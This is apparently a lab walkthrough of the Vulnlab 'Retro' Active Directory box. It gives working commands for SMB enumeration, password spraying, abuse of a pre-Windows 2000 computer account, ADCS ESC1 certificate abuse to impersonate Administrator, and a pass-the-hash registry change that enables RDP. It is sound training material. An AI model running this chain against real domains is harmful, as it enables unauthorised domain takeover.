Retro

Windows have been around for a long time and many old features are kept around for compatibility reasons. These legacy features are often insecure and can lead to a compromise. The Retro box on Vulnlab demonstrates how this might occur.

Target IP: 10.10.83.179

Enumeration

Nmap Scan:

$ nmap -sVC -T4 -oN nmap -Pn 10.10.83.179

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-10 17:08:31Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-06-10T16:44:37
|_Not valid after:  2026-06-10T16:44:37
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-06-10T16:44:37
|_Not valid after:  2026-06-10T16:44:37
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-06-10T16:44:37
|_Not valid after:  2026-06-10T16:44:37
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2025-06-10T16:44:37
|_Not valid after:  2026-06-10T16:44:37
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: RETRO
|   NetBIOS_Domain_Name: RETRO
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: retro.vl
|   DNS_Computer_Name: DC.retro.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-06-10T17:09:13+00:00
| ssl-cert: Subject: commonName=DC.retro.vl
| Not valid before: 2025-06-09T16:53:22
|_Not valid after:  2025-12-09T16:53:22
|_ssl-date: 2025-06-10T17:09:53+00:00; -1s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-06-10T17:09:17
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

That’s quite a number of open ports, but the combination of 53 (DNS), 88 (Kerberos), NetBIOS and SMB ports (135,139,445), as well as ldap ports tells us that this is likely a domain controller. In the script scan results, we can see that the domain name is retro.vl, and the hostname for the target is dc.retro.vl. We should add the following line to our /etc/hosts file so that we can resolve these two hostnames.

10.10.83.179 	retro.vl 	dc.retro.vl

In addition, we also see RDP open on port 3389.

SMB

Let’s start by checking out what’s available on SMB with a guest account.

$ nxc smb 10.10.83.179 -u 'guest' -p '' --shares

The Guest account has access to a share called Trainee. Let’s see what’s inside. We find a text file called Important.txt, and this is what it says:

Dear Trainees,

I know that some of you seemed to struggle with remembering strong and unique passwords.
So we decided to bundle every one of you up into one account.
Stop bothering us. Please. We have other stuff to do than resetting your password every day.

Regards

The Admins

An average case of SysAdmin. So this tells us that a lot of the trainee’s can’t remember their passwords, so they have been combined into one single account, perhaps with a memorable but weaker password.

Initial Access: Login Brute-Force

Let’s prepare for a brute-force attack by gathering a list of users on the system. To do that, we can use the RID brute-forcing functionality on NetExec:

$ nxc smb 10.10.83.179 -u 'guest' -p '' --rid-brute

After cleaning up, we have the following list of users:

Administrator
Guest
krbtgt
DC$
trainee
BANKING$
jburley
tblack

Commonly, poorly protected accounts have the same password as its account name. Let’s can try to brute force for this kind of account with the following NetExec Command by specifying the list containing our users as both the username file and password file. Note the --no-brute flag which causes NetExec to only try each username with the password on its corresponding line instead of all passwords in the password file.

$ nxc smb 10.10.83.179 -u users  -p users --no-brute --continue-on-success

Trainee’s password has been uncovered through our brute-force. Let’s see what SMB shares does it has access to.

$ nxc smb 10.10.83.179 -u 'trainee' -p 'trainee' --shares

We have access to a share called Notes as trainee, let’s check it out.

$ smbclient //10.10.83.179/Notes -U 'trainee' --password='trainee'

We find a ToDo.txt available in the share, here are its contents:

Thomas,

after convincing the finance department to get rid of their ancienct banking software
it is finally time to clean up the mess they made. We should start with the pre created
computer account. That one is older than me.

Best

James

A pre-created computer account that is super old, what could it be possibly hinting at?

Lateral Movement: Pre-Windows 2000 Computer Account

Searching for the Term “Pre-created Computer account” leads me to this article, which tells us that if a pre-created computer account has the checkmark Assign this computer account as a pre-Windows 2000 computer , its password will be set to its account name in all lowercase.

Great job, Microsoft! 🤦

Out of the two computer accounts we have discovered so far, BANKING$ is the most likely to have this option checked due to their use of “ancient banking software”, which indicate that they could have some outdated systems that needs compatibility with modern systems. To test it out, we follow the article and use smbclient.py from impacket.

$ smbclient.py retro.vl/banking\$:banking@10.10.83.179

We have got the same STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT as screenshot shown in the article, indicating that we have the correct password, but we are unable to login as this is a pre-created computer account.

So what do we do? The article suggest that we can either change the password on this account, or we can create a Kerberos ticket using getTGT.py. The latter option would restrict us to only using Kerberos authentication. In real enegagements, we should avoid changing passwords without client permission since that could cause users and services to be locked out of their access. So we will do that here.

To get a Kerberos Ticket for BANKING$, run the following two commands:

$ getTGT.py 'retro.vl/banking$:banking'

$ export KRB5CCNAME=banking\$.ccache

We have successfully created a TGT for the BANKING$ user, allowing us to access other services as this user.

Privilege Escalation: ESC1

We are quite far into the exploitation of this machine, but we have yet to be able to get shell access. Don’t worry, we can actually continue to enumerate the machine with our newly created TGT. We can start enumerating the ADCS to check for vulnerable certificate templates.

$ certipy find -k -no-pass -target dc.retro.vl -ns 10.10.83.179

The following is one of the certificate templates found by certipy. As we can see, certipy marked this template as having an vulnerability called ESC1.

So what is ESC1? It is a vulnerable configuration of certificate templates that allows the attacker to trick the AD CS into issuing them a certificate that they can use to authenticate as privileged users. You can learn more about vulnerabilities like this one in this paper titled Certified Pre-Owned: Abusing Active Directory Certificate Services.

To exploit ESC1, we first use certipy to request a certificate from the ADCS for the Domain Admin. Then, we authenticate to get the Domain Admin’s TGT and NTLM hash.

$ certipy req -k -no-pass -ca retro-DC-CA -upn Administrator@retro.vl -template RetroClients -target dc.retro.vl -key-size 4096

$ certipy auth -pfx administrator.pfx -dc-ip 10.10.83.179

Now, let’s use this hash to login to RDP. However, if we try to login immediately, we would be greeted with the following message.

To disable the account restriction, we can add a DisableRestrictedAdmin register key using NetExec.

$ nxc smb 10.10.83.179 -u Administrator -H <ADMIN_HASH> -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

Then, we should be able to login via RDP.

Takeaways & Conclusion

This box is quite interesting as it combines an old vulnerability with a relatively recently discovered (2021) privilege escalation technique to allow us to fully take over an Active Directory Domain. The name retro is, in that sense, quite suitable for this box.

In the meantime, I am intrigued by the techniques outlined in the paper listed above. I plan to explore how to exploit these vulnerabilities using my active directory lab. Look forward to a blog post where I set up and exploit ESC1 to ESC16.